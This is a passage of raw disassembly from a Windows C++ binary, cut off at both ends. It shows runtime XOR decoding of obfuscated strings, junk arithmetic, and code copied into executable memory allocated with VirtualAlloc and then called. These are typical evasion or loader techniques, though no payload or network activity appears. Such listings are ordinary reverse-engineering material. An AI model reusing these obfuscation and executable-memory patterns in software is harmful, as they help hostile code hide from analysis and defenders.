lea rcx, [rcx + 8]
cmp r9d, 0x48
jl 0x140021390
cmp r9d, 0x4f
jge 0x14002157f
movsxd rax, r9d
lea r10, [rsp + 0x90]
add r10, rax
nop word [rax + rax]
mov eax, 0x81020409
imul r9d
add edx, r9d
sar edx, 6
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul r8d, eax, 0x7f
mov eax, 0xec1dd343
imul r9d
sar edx, 3
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x67
sub cl, r8b
lea eax, [r9 - 3]
add al, al
add cl, al
xor byte [r10], cl
inc r9d
lea r10, [r10 + 1]
cmp r9d, 0x4f
jl 0x140021530
lea rdx, [rsp + 0x90]
lea rcx, [rsp + 0x220]
call fcn.1400264a0
mov rdx, rax
lea rcx, [rsp + 0x1b0]
call fcn.1400106a0
nop
lea r9, [rsp + 0x80]
mov r8, rbx
mov rdx, rax
lea rcx, [rsp + 0x258]
call fcn.140027bf0
nop
lea rcx, [rsp + 0x1b0]
call fcn.140026440
nop
lea rcx, [rsp + 0x1d0]
call fcn.140024400
lea rdx, [rsp + 0x258]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.1400279b0
lea rdx, [0x140027d00]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
movsd xmm0, qword [0x140035bf8]
movsd qword [rsp + 0x160], xmm0
mov eax, dword [0x140035c00]
mov dword [rsp + 0x168], eax
movzx eax, byte [0x140035c04]
mov byte [rsp + 0x16c], al
mov r9d, esi
cmp edi, 2
jl 0x1400217ba
movdqa xmm2, xmm11
punpckldq xmm2, xmm11
movdqa xmm1, xmm11
punpckhdq xmm1, xmm11
movdqa xmm3, xmm2
pmuldq xmm3, xmm12
movdqa xmm0, xmm1
pmuldq xmm0, xmm12
shufps xmm3, xmm0, 0xdd
psrad xmm3, 3
pmuldq xmm2, xmm13
pmuldq xmm1, xmm13
shufps xmm2, xmm1, 0xdd
paddd xmm2, xmm11
psrad xmm2, 6
movdqa xmm0, xmm2
psrld xmm0, 0x1f
paddd xmm0, xmm2
pmulld xmm0, xmm7
movdqa xmm2, xmm11
psubd xmm2, xmm0
andps xmm2, xmm14
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movdqa xmm0, xmm3
psrld xmm0, 0x1f
paddd xmm0, xmm3
pmulld xmm0, xmm15
movdqa xmm1, xmm11
psubd xmm1, xmm0
andps xmm1, xmm14
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm2, xmm1
mov eax, dword [0x140037300]
movd xmm0, eax
psubb xmm2, xmm0
movd xmm0, dword [0x140035bf8]
xorps xmm2, xmm0
movd dword [rsp + 0x160], xmm2
movdqa xmm4, xmmword [0x1400372b0]
movdqa xmm2, xmm4
punpckldq xmm2, xmm4
movdqa xmm1, xmm4
punpckhdq xmm1, xmm4
movdqa xmm3, xmm2
pmuldq xmm3, xmm12
movdqa xmm0, xmm1
pmuldq xmm0, xmm12
shufps xmm3, xmm0, 0xdd
psrad xmm3, 3
pmuldq xmm2, xmm13
pmuldq xmm1, xmm13
shufps xmm2, xmm1, 0xdd
paddd xmm2, xmm4
psrad xmm2, 6
movdqa xmm0, xmm2
psrld xmm0, 0x1f
paddd xmm0, xmm2
pmulld xmm0, xmm7
movdqa xmm2, xmm4
psubd xmm2, xmm0
andps xmm2, xmm14
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movdqa xmm0, xmm3
psrld xmm0, 0x1f
paddd xmm0, xmm3
pmulld xmm0, xmm15
movdqa xmm1, xmm4
psubd xmm1, xmm0
andps xmm1, xmm14
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm2, xmm1
movd xmm0, eax
psubb xmm2, xmm0
movd xmm1, dword [rsp + 0x164]
xorps xmm2, xmm1
movd dword [rsp + 0x164], xmm2
mov r9d, 8
movsxd rax, r9d
lea r10, [rsp + 0x160]
add r10, rax
nop dword [rax + rax]
mov eax, 0x81020409
imul r9d
add edx, r9d
sar edx, 6
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul r8d, eax, 0x7f
mov eax, 0xec1dd343
imul r9d
sar edx, 3
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x67
sub cl, r8b
lea eax, [r9 - 3]
add al, al
add cl, al
xor byte [r10], cl
inc r9d
lea r10, [r10 + 1]
cmp r9d, 0xd
jl 0x1400217d0
lea rax, [rsp + 0x160]
mov qword [rsp + 0x60], rax
lea rcx, [rsp + 0x170]
call fcn.140002540
lea rdx, [rsp + 0x16d8]
lea rcx, [rsp + 0x170]
call fcn.140002550
nop
mov ecx, esi
mov rax, qword [0x1400418b0]
test rax, rax
je 0x140021889
mov rdx, rsi
cmp rax, r12
je 0x140021878
inc ecx
mov edx, ecx
mov rax, qword [r15 + rcx*8 + 0x418b0]
test rax, rax
jne 0x140021860
jmp 0x140021889
mov r8, qword [r15 + rdx*8 + 0x40280]
test r8, r8
jne 0x14002196f
mov edx, 0x1f4
xor ecx, ecx
mov r9d, 0x40
mov r8d, 0x1000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r8, rax
test rax, rax
jne 0x1400218b2
mov r8, rsi
jmp 0x14002194e
mov rax, r12
mov rcx, r8
mov rdx, r13
nop dword [rax + rax]
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
lea rcx, [rcx + 0x80]
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
lea rax, [rax + 0x80]
sub rdx, 1
jne 0x1400218c0
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
mov eax, dword [rax + 0x70]
mov dword [rcx + 0x70], eax
mov rax, qword [0x140040c00]
mov qword [r15 + rax*8 + 0x418b0], r12
mov qword [r15 + rax*8 + 0x40280], r8
inc rax
mov qword [0x140040c00], rax
lea rdx, [rsp + 0x60]
lea rcx, [0x140001600]
call r8
nop
mov rcx, qword [rsp + 0x170]
xor rcx, qword [rsp + 0x178]
mov qword [rsp + 0x170], rcx
mov rax, qword [rsp + 0x180]
mov qword [rax], rcx
mov r14d, esi
movzx eax, word [0x1400360e0]
mov word [rsp + 0x40], ax
cmp byte [0x1400360e1], 0
je 0x1400219c4
mov byte [rsp + 0x40], 0x3a
xor byte [rsp + 0x41], 0xfc
movzx eax, word [0x1400360e0]
mov word [rsp + 0x80], ax
cmp byte [0x1400360e1], 0
je 0x1400219ec
mov byte [rsp + 0x80], 0x3a
xor byte [rsp + 0x81], 0xfc
lea r8, [rsp + 0x80]
lea rcx, [rsp + 0xe0]
call fcn.140026fb0
nop
lea r8, [0x140043eb0]
mov rdx, rax
lea rcx, [rsp + 0x128]
call fcn.140027190
nop
lea r8, [rsp + 0x40]
mov rdx, rax
lea rcx, [rsp + 0x108]
call fcn.140027120
nop
lea r8, [rsp + 0x258]
mov rdx, rax
lea rcx, [rsp + 0x200]
call fcn.140027190
nop
lea rcx, [rsp + 0x108]
call fcn.140026440
nop
lea rcx, [rsp + 0x128]
call fcn.140026440
nop
lea rcx, [rsp + 0xe0]
call fcn.140026440
call qword [sym.imp.MSVCP140.dll_unsigned_int___cdecl_std::_Random_device_void_]
mov edx, eax
lea rcx, [rsp + 0x280]
call fcn.1400254c0
mov dword [rsp + 0x148], 0xffffff9c
mov dword [rsp + 0x14c], 0x64
movups xmmword [rsp + 0x1d0], xmm9
mov dword [rsp + 0x40], esi
movsd qword [rsp + 0x50], xmm10
lea rcx, [rsp + 0x48]
call fcn.140001670
mov qword [rsp + 0x60], 0x64
lea r8, [rsp + 0x60]
lea rdx, [rsp + 0x48]
lea rcx, [rsp + 0x70]
call fcn.1400272a0
lea rcx, [rsp + 0x1b0]
call fcn.140002540
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x1b0], xmm1
mov qword [rsp + 0x1c0], rsi
lea rcx, [rsp + 0x190]
call fcn.1400272c0
nop
mov rcx, qword [rax]
mov qword [rax], rsi
mov qword [rsp + 0x48], rcx
lea rdx, [rsp + 0x48]
lea rcx, [rsp + 0x1b0]
call fcn.1400253c0
nop
lea rcx, [rsp + 0x48]
call fcn.140025380
nop
lea rcx, [rsp + 0x190]
call fcn.140025380
lea rcx, [rsp + 0x60]
call fcn.140027310
nop
mov rcx, qword [rax]
mov qword [rax], rsi
mov qword [rsp + 0x48], rcx
lea rdx, [rsp + 0x48]
lea rcx, [rsp + 0x1b0]
call fcn.1400253c0
nop
lea rcx, [rsp + 0x48]
call fcn.140025380
nop
lea rcx, [rsp + 0x60]
call fcn.140025380
lea rcx, [rsp + 0x190]
call fcn.140027340
nop
mov rcx, qword [rax]
mov qword [rax], rsi
mov qword [rsp + 0x48], rcx
lea rdx, [rsp + 0x48]
lea rcx, [rsp + 0x1b0]
call fcn.1400253c0
nop
lea rcx, [rsp + 0x48]
call fcn.140025380
nop
lea rcx, [rsp + 0x190]
call fcn.140025380
lea rcx, [rsp + 0x60]
call fcn.140027370
nop
mov rcx, qword [rax]
mov qword [rax], rsi
mov qword [rsp + 0x48], rcx
lea rdx, [rsp + 0x48]
lea rcx, [rsp + 0x1b0]
call fcn.1400253c0
nop
lea rcx, [rsp + 0x48]
call fcn.140025380
nop
lea rcx, [rsp + 0x60]
call fcn.140025380
lea rcx, [rsp + 0x190]
call fcn.1400273a0
nop
mov rcx, qword [rax]
mov qword [rax], rsi
mov qword [rsp + 0x48], rcx
lea rdx, [rsp + 0x48]
lea rcx, [rsp + 0x1b0]
call fcn.1400253c0
nop
lea rcx, [rsp + 0x48]
call fcn.140025380
nop
lea rcx, [rsp + 0x190]
call fcn.140025380
lea rcx, [rsp + 0x60]
call fcn.1400273d0
nop
mov rcx, qword [rax]
mov qword [rax], rsi
mov qword [rsp + 0x48], rcx
lea rdx, [rsp + 0x48]
lea rcx, [rsp + 0x1b0]
call fcn.1400253c0
nop
lea rcx, [rsp + 0x48]
call fcn.140025380
nop
lea rcx, [rsp + 0x60]
call fcn.140025380
nop
lea rcx, [rsp + 0x160]
call fcn.140001670
mov rcx, rax
lea rdx, [rsp + 0x70]
call fcn.1400024e0
test al, al
jns 0x140021fda
cmp esi, 0x186a0
jge 0x140021fd3
lea rdx, [rsp + 0x280]
lea rcx, [rsp + 0x148]
call fcn.1400271f0
mov rbx, qword [rsp + 0x1b8]
sub rbx, qword [rsp + 0x1b0]
sar rbx, 3
lea rdx, [rsp + 0x280]
lea rcx, [rsp + 0x148]
call fcn.1400271f0
cdqe
xor edx, edx
div rbx
movsxd rcx, edx
mov rax, qword [rsp + 0x1b0]
mov rdi, qword [rax + rcx*8]
mov rax, qword [rdi]
mov rbx, qword [rax + 8]
lea rdx, [rsp + 0x280]
lea rcx, [rsp + 0x148]
call fcn.1400271f0
mov r8d, eax
mov edx, dword [rsp + 0x40]
mov rcx, rdi
call rbx
mov dword [rsp + 0x40], eax
lea rdx, [rsp + 0x280]
lea rcx, [rsp + 0x1d0]
call fcn.140027400
movaps xmm5, xmm0
lea rdx, [rsp + 0x280]
lea rcx, [rsp + 0x1d0]
call fcn.140027400
movaps xmm1, xmm5
call fcn.140002390
movsd xmm1, qword [rsp + 0x50]
addsd xmm0, xmm1
movsd qword [rsp + 0x50], xmm0
lea rdx, [rsp + 0x280]
lea rcx, [rsp + 0x1d0]
call fcn.140027400
movaps xmm1, xmm8
call sub.api_ms_win_crt_math_l1_1_0.dll_pow
movsd xmm1, qword [rsp + 0x50]
subsd xmm1, xmm0
movsd qword [rsp + 0x50], xmm1
lea rdx, [rsp + 0x280]
lea rcx, [rsp + 0x1d0]
call fcn.140027400
call sub.api_ms_win_crt_math_l1_1_0.dll_tan
mulsd xmm0, qword [rsp + 0x50]
movsd qword [rsp + 0x50], xmm0
lea rdx, [0x14003597c]
lea rcx, [rsp + 0x220]
call fcn.1400264a0
nop
lea rdx, [rsp + 0x280]
lea rcx, [rsp + 0x220]
call fcn.140002300
lea rcx, [rsp + 0x170]
call fcn.140002540
lea rcx, [rsp + 0x170]
call fcn.140025590
nop
lea rax, [rsp + 0x148]
mov qword [rsp + 0x190], rax
lea rax, [rsp + 0x280]
mov qword [rsp + 0x198], rax
movaps xmm0, xmmword [rsp + 0x190]
movdqa xmmword [rsp + 0x60], xmm0
lea r8, [rsp + 0x60]
mov rdx, qword [rsp + 0x178]
mov rcx, qword [rsp + 0x170]
call fcn.140027490
lea rdx, [rsp + 0x280]
lea rcx, [rsp + 0x170]
call fcn.140002410
mov rdx, qword [rsp + 0x178]
mov rcx, qword [rsp + 0x170]
call fcn.1400274f0
mov ecx, dword [rsp + 0x40]
add ecx, eax
mov dword [rsp + 0x40], ecx
lea rdx, [rsp + 0x280]
lea rcx, [rsp + 0x148]
call fcn.1400271f0
mov ebx, eax
lea rdx, [rsp + 0x280]
lea rcx, [rsp + 0x148]
call fcn.1400271f0
mov r8d, ebx
mov edx, eax
call fcn.140002510
mov ecx, dword [rsp + 0x40]
add eax, ecx
mov dword [rsp + 0x40], eax
mov eax, dword [rsp + 0x40]
lea rdx, [rsp + 0x280]
lea rcx, [rsp + 0x148]
test al, 1
jne 0x140021ef1
call fcn.1400271f0
mov ecx, dword [rsp + 0x40]
add eax, ecx
mov dword [rsp + 0x40], eax
jmp 0x140021f00
call fcn.1400271f0
mov ecx, dword [rsp + 0x40]
sub ecx, eax
mov dword [rsp + 0x40], ecx
mov edi, 5
xor ebx, ebx
nop word [rax + rax]
lea rdx, [rsp + 0x280]
lea rcx, [rsp + 0x148]
call fcn.1400271f0
mov ecx, dword [rsp + 0x40]
add eax, ecx
mov dword [rsp + 0x40], eax
lea rdx, [rsp + 0x280]
lea rcx, [rsp + 0x1d0]
call fcn.140027400
movsd xmm5, qword [rsp + 0x50]
addsd xmm0, xmm5
movsd qword [rsp + 0x50], xmm0
lea rdx, [rsp + 0x280]
test bl, 1
jne 0x140021f7b
lea rcx, [rsp + 0x148]
call fcn.1400271f0
mov ecx, dword [rsp + 0x40]
imul eax, ecx
mov dword [rsp + 0x40], eax
jmp 0x140021f9c
movsd xmm5, qword [rsp + 0x50]
lea rcx, [rsp + 0x1d0]
call fcn.140027400
addsd xmm0, xmm6
divsd xmm5, xmm0
movsd qword [rsp + 0x50], xmm5
inc ebx
cmp ebx, 5
jl 0x140021f10
sub rdi, 1
jne 0x140021f05
lea rcx, [rsp + 0x170]
call fcn.140025530
nop
lea rcx, [rsp + 0x220]
call fcn.140026440
inc esi
jmp 0x140021ca2
xor esi, esi
jmp 0x140021c80
mov eax, dword [rsp + 0x40]
lea rcx, [rsp + 0x1b0]
call fcn.1400253f0
mov edi, dword [0x14003f090]
movups xmm0, xmmword [0x140036a28]
movups xmmword [rsp + 0x90], xmm0
movups xmm1, xmmword [0x140036a38]
movups xmmword [rsp + 0xa0], xmm1
movsd xmm0, qword [0x140036a48]
movsd qword [rsp + 0xb0], xmm0
movzx eax, word [0x140036a50]
mov word [rsp + 0xb8], ax
movzx eax, byte [0x140036a52]
mov byte [rsp + 0xba], al
mov r9d, esi
cmp edi, 2
jl 0x1400221f7
movdqa xmm0, xmmword [0x140037300]
movdqa xmmword [rsp + 0x160], xmm0
lea rcx, [rsp + 0x94]
mov edx, dword [rsp + 0x160]
nop dword [rax]
movd xmm4, r9d
pshufd xmm4, xmm4, 0
paddd xmm4, xmm11
movdqa xmm2, xmm4
punpckldq xmm2, xmm4
movdqa xmm1, xmm4
punpckhdq xmm1, xmm4
movdqa xmm3, xmm2
pmuldq xmm3, xmm12
movdqa xmm0, xmm1
pmuldq xmm0, xmm12
shufps xmm3, xmm0, 0xdd
psrad xmm3, 3
pmuldq xmm2, xmm13
pmuldq xmm1, xmm13
shufps xmm2, xmm1, 0xdd
paddd xmm2, xmm4
psrad xmm2, 6
movdqa xmm0, xmm2
psrld xmm0, 0x1f
paddd xmm0, xmm2
pmulld xmm0, xmm7
movdqa xmm1, xmm4
psubd xmm1, xmm0
andps xmm1, xmm14
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movdqa xmm0, xmm3
psrld xmm0, 0x1f
paddd xmm0, xmm3
pmulld xmm0, xmm15
psubd xmm4, xmm0
andps xmm4, xmm14
packuswb xmm4, xmm4
packuswb xmm4, xmm4
paddb xmm1, xmm4
movd xmm0, edx
psubb xmm1, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm1, xmm0
movd dword [rcx - 4], xmm1
lea eax, [r9 + 4]
movd xmm4, eax
pshufd xmm4, xmm4, 0
paddd xmm4, xmm11
movdqa xmm2, xmm4
punpckldq xmm2, xmm4
movdqa xmm1, xmm4
punpckhdq xmm1, xmm4
movdqa xmm3, xmm2
pmuldq xmm3, xmm12
movdqa xmm0, xmm1
pmuldq xmm0, xmm12
shufps xmm3, xmm0, 0xdd
psrad xmm3, 3
pmuldq xmm2, xmm13
pmuldq xmm1, xmm13
shufps xmm2, xmm1, 0xdd
paddd xmm2, xmm4
psrad xmm2, 6
movdqa xmm0, xmm2
psrld xmm0, 0x1f
paddd xmm0, xmm2
pmulld xmm0, xmm7
movdqa xmm1, xmm4
psubd xmm1, xmm0
andps xmm1, xmm14
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movdqa xmm0, xmm3
psrld xmm0, 0x1f
paddd xmm0, xmm3
pmulld xmm0, xmm15
psubd xmm4, xmm0
andps xmm4, xmm14
packuswb xmm4, xmm4
packuswb xmm4, xmm4
paddb xmm1, xmm4
movd xmm0, edx
psubb xmm1, xmm0
movd xmm0, dword [rcx]
xorps xmm1, xmm0
movd dword [rcx], xmm1
add r9d, 8
lea rcx, [rcx + 8]
cmp r9d, 0x28
jl 0x140022070
cmp r9d, 0x2b
jge 0x14002225f
movsxd rax, r9d
lea r10, [rsp + 0x90]
add r10, rax
nop word [rax + rax]
mov eax, 0x81020409
imul r9d
add edx, r9d
sar edx, 6
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul r8d, eax, 0x7f
mov eax, 0xec1dd343
imul r9d
sar edx, 3
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x67
sub cl, r8b
lea eax, [r9 - 3]
add al, al
add cl, al
xor byte [r10], cl
inc r9d
lea r10, [r10 + 1]
cmp r9d, 0x2b
jl 0x140022210
movsd xmm0, qword [0x1400361b8]
movzx eax, byte [0x1400361c0]
movsd qword [rsp + 0x70], xmm0
mov byte [rsp + 0x70], 0x68
xor byte [rsp + 0x71], 0xfc
xor byte [rsp + 0x72], 0xfe
xor byte [rsp + 0x74], 2
xor byte [rsp + 0x75], 4
xor byte [rsp + 0x76], 6
xor byte [rsp + 0x77], 8
xor al, 0xa
mov byte [rsp + 0x78], al
lea r8, [rsp + 0x258]
lea rdx, [rsp + 0x70]
lea rcx, [rsp + 0x1d0]
call fcn.140027a00
nop
lea r8, [rsp + 0x90]
mov rdx, rax
lea rcx, [rsp + 0x220]
call fcn.140027120
mov rdx, rax
lea rcx, [rsp + 0x1b0]
call fcn.1400106a0
nop
mov rdx, rax
lea rcx, [rsp + 0x170]
call fcn.140011930
mov rbx, rax
lea rax, [0x140043ed0]
cmp rax, rbx
je 0x140022379
mov rcx, qword [0x140043ed0]
test rcx, rcx
je 0x14002234e
mov rdx, qword [0x140043ee0]
sub rdx, rcx
cmp rdx, 0x1000
jb 0x140022337
add rdx, 0x27
mov r8, qword [rcx - 8]
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x1400223b2
mov rcx, r8
call fcn.140031bd4
xorps xmm0, xmm0
movdqu xmmword [0x140043ed0], xmm0
mov qword [0x140043ee0], rsi
mov rax, qword [rbx]
mov qword [0x140043ed0], rax
mov rax, qword [rbx + 8]
mov qword [0x140043ed8], rax
mov rax, qword [rbx + 0x10]
mov qword [0x140043ee0], rax
mov qword [rbx], rsi
mov qword [rbx + 8], rsi
mov qword [rbx + 0x10], rsi
mov rcx, qword [rsp + 0x170]
test rcx, rcx
je 0x1400223d6
mov rdx, qword [rsp + 0x180]
sub rdx, rcx
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400223b9
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400223b9
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140031bd4
mov qword [rsp + 0x170], rsi
mov qword [rsp + 0x178], rsi
mov qword [rsp + 0x180], rsi
lea rcx, [rsp + 0x1b0]
call fcn.140026440
nop
lea rcx, [rsp + 0x1d0]
call fcn.140026440
mov rdx, qword [0x140043ed8]
sub rdx, qword [0x140043ed0]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___unsigned_long_long_unsigned___int64_____ptr64]
lea rdx, [0x140027d00]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov rax, qword [0x140043ed8]
sub rax, qword [0x140043ed0]
cmp rax, 5
jae 0x140022442
cmp r14d, 0xa
jle 0x140022703
mov qword [0], rsi
movups xmm0, xmmword [0x1400369d8]
movups xmmword [rsp + 0x1b0], xmm0
movsd xmm0, qword [0x1400369e8]
movsd qword [rsp + 0x1c0], xmm0
mov eax, dword [0x1400369f0]
mov dword [rsp + 0x1c8], eax
movzx eax, byte [0x1400369f4]
mov byte [rsp + 0x1cc], al
mov r9d, esi
cmp edi, 2
jl 0x140022637
movdqa xmm0, xmmword [0x140037300]
movdqa xmmword [rsp + 0x160], xmm0
lea rcx, [rsp + 0x1b4]
mov edx, dword [rsp + 0x160]
nop dword [rax]
movd xmm4, r9d
pshufd xmm4, xmm4, 0
paddd xmm4, xmm11
movdqa xmm2, xmm4
punpckldq xmm2, xmm4
movdqa xmm1, xmm4
punpckhdq xmm1, xmm4
movdqa xmm3, xmm2
pmuldq xmm3, xmm12
movdqa xmm0, xmm1
pmuldq xmm0, xmm12
shufps xmm3, xmm0, 0xdd
psrad xmm3, 3
pmuldq xmm2, xmm13
pmuldq xmm1, xmm13
shufps xmm2, xmm1, 0xdd
paddd xmm2, xmm4
psrad xmm2, 6
movdqa xmm0, xmm2
psrld xmm0, 0x1f
paddd xmm0, xmm2
pmulld xmm0, xmm7
movdqa xmm1, xmm4
psubd xmm1, xmm0
andps xmm1, xmm14
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movdqa xmm0, xmm3
psrld xmm0, 0x1f
paddd xmm0, xmm3
pmulld xmm0, xmm15
psubd xmm4, xmm0
andps xmm4, xmm14
packuswb xmm4, xmm4
packuswb xmm4, xmm4
paddb xmm1, xmm4
movd xmm0, edx
psubb xmm1, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm1, xmm0
movd dword [rcx - 4], xmm1
lea eax, [r9 + 4]
movd xmm4, eax
pshufd xmm4, xmm4, 0
paddd xmm4, xmm11
movdqa xmm2, xmm4
punpckldq xmm2, xmm4
movdqa xmm1, xmm4
punpckhdq xmm1, xmm4
movdqa xmm3, xmm2
pmuldq xmm3, xmm12
movdqa xmm0, xmm1
pmuldq xmm0, xmm12
shufps xmm3, xmm0, 0xdd
psrad xmm3, 3
pmuldq xmm2, xmm13
pmuldq xmm1, xmm13
shufps xmm2, xmm1, 0xdd
paddd xmm2, xmm4
psrad xmm2, 6
movdqa xmm0, xmm2
psrld xmm0, 0x1f
paddd xmm0, xmm2
pmulld xmm0, xmm7
movdqa xmm1, xmm4
psubd xmm1, xmm0
andps xmm1, xmm14
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movdqa xmm0, xmm3
psrld xmm0, 0x1f
paddd xmm0, xmm3
pmulld xmm0, xmm15
psubd xmm4, xmm0
andps xmm4, xmm14
packuswb xmm4, xmm4
packuswb xmm4, xmm4
paddb xmm1, xmm4
movd xmm0, edx
psubb xmm1, xmm0
movd xmm0, dword [rcx]
xorps xmm1, xmm0
movd dword [rcx], xmm1
add r9d, 8
lea rcx, [rcx + 8]
cmp r9d, 0x18
jl 0x1400224b0
cmp r9d, 0x1d
jge 0x14002269f
movsxd rax, r9d
lea r10, [rsp + 0x1b0]
add r10, rax
nop word [rax + rax]
mov eax, 0x81020409
imul r9d
add edx, r9d
sar edx, 6
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul r8d, eax, 0x7f
mov eax, 0xec1dd343
imul r9d
sar edx, 3
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x67
sub cl, r8b
lea eax, [r9 - 3]
add al, al
add cl, al
xor byte [r10], cl
inc r9d
lea r10, [r10 + 1]
cmp r9d, 0x1d
jl 0x140022650
lea rax, [rsp + 0x1b0]
mov qword [rsp + 0x70], rax
lea rcx, [rsp + 0x170]
call fcn.140002540
lea rdx, [rsp + 0x16d8]
lea rcx, [rsp + 0x170]
call fcn.140002550
nop
mov ecx, esi
mov rax, qword [0x1400418b0]
test rax, rax
je 0x1400228ab
mov rdx, rsi
cmp rax, r12
je 0x14002289a
inc ecx
mov edx, ecx
mov rax, qword [r15 + rcx*8 + 0x418b0]
test rax, rax
jne 0x1400226e4
jmp 0x1400228ab
inc r14d
mov dword [rsp + 0x148], 0x2710
lea rcx, [rsp + 0x170]
call fcn.140002540
lea rdx, [rsp + 0x16d8]
lea rcx, [rsp + 0x170]
call fcn.140002550
nop
mov ecx, esi
mov rax, qword [0x140041260]
lea rbx, [0x1400279d0]
test rax, rax
je 0x140022779
mov rdx, rsi
nop dword [rax]
cmp rax, rbx
je 0x140022768
inc ecx
mov edx, ecx
mov rax, qword [r15 + rcx*8 + 0x41260]
test rax, rax
jne 0x140022750
jmp 0x140022779
mov r8, qword [r15 + rdx*8 + 0x42ba0]
test r8, r8
jne 0x14002285f
mov edx, 0x1f4
xor ecx, ecx
mov r9d, 0x40
mov r8d, 0x1000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r8, rax
test rax, rax
jne 0x1400227a2
mov r8, rsi
jmp 0x14002283e
mov rax, rbx
mov rcx, r8
mov rdx, r13
nop dword [rax + rax]
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
lea rcx, [rcx + 0x80]
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
lea rax, [rax + 0x80]
sub rdx, 1
jne 0x1400227b0
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
mov eax, dword [rax + 0x70]
mov dword [rcx + 0x70], eax
mov rax, qword [0x1400418a0]
mov qword [r15 + rax*8 + 0x41260], rbx
mov qword [r15 + rax*8 + 0x42ba0], r8
inc rax
mov qword [0x1400418a0], rax
lea rdx, [rsp + 0x148]
mov rcx, qword [sym.imp.KERNEL32.dll_Sleep]
call r8
nop
mov rcx, qword [rsp + 0x170]
xor rcx, qword [rsp + 0x178]
mov qword [rsp + 0x170], rcx
mov rax, qword [rsp + 0x180]
mov qword [rax], rcx
jmp 0x140021ff1
mov r8, qword [r15 + rdx*8 + 0x40280]
test r8, r8
jne 0x14002298f
